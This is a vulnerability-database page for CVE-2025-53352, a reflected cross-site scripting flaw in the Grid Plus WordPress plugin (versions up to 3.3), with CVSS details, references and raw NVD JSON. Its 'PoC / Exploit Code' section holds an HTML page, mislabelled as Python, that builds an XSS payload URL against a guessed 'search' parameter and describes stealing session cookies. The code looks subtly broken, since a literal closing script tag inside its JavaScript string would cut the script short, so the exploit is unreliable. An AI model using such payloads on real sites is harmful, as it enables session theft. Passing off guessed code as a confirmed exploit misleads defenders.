CVE-2025-53352

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in G5Theme Grid Plus grid-plus allows Reflected XSS.This issue affects Grid Plus: from n/a through <= 3.3.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Grid Plus <= 3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-53352 PoC - Reflected XSS in Grid Plus Plugin -->
<!-- Target: WordPress site with Grid Plus plugin <= 3.3 -->
<!-- This PoC demonstrates the reflected XSS vulnerability -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-53352 PoC</title>
</head>
<body>
    <h2>CVE-2025-53352 - Grid Plus Plugin Reflected XSS</h2>
    <p>Malicious URL to trigger XSS:</p>
    
    <script>
        // Construct the malicious URL with XSS payload
        const targetUrl = window.location.origin + '/wp-admin/admin.php';
        const xssPayload = '<script>alert("XSS Vulnerability - CVE-2025-53352")</script>';
        
        // Common vulnerable parameter patterns in Grid Plus
        const maliciousUrl = targetUrl + '?page=grid-plus&search=' + encodeURIComponent(xssPayload);
        
        document.write('<p><strong>Target URL:</strong> <a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a></p>');
        document.write('<p><strong>XSS Payload:</strong> ' + xssPayload + '</p>');
        
        // Log the PoC details
        console.log('CVE-2025-53352 PoC');
        console.log('Target:', targetUrl);
        console.log('Payload:', xssPayload);
    </script>
    
    <p>Attack Scenario:</p>
    <ol>
        <li>Attacker crafts a malicious URL with XSS payload in search parameter</li>
        <li>Attacker tricks victim into clicking the link (phishing email, social media, etc.)</li>
        <li>Victim's browser executes the injected JavaScript</li>
        <li>Attacker steals session cookies or performs actions on behalf of victim</li>
    </ol>
    
    <button onclick="window.open(maliciousUrl)">Test XSS (Opens in new tab)</button>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53352
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53352
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53352/
[4] VulDB https://vuldb.com/cve/CVE-2025-53352
[5] https://patchstack.com/database/Wordpress/Plugin/grid-plus/vulnerability/wordpress-grid-plus-plugin-3-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-53352", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:49.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in G5Theme Grid Plus grid-plus allows Reflected XSS.This issue affects Grid Plus: from n/a through <= 3.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/grid-plus/vulnerability/wordpress-grid-plus-plugin-3-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}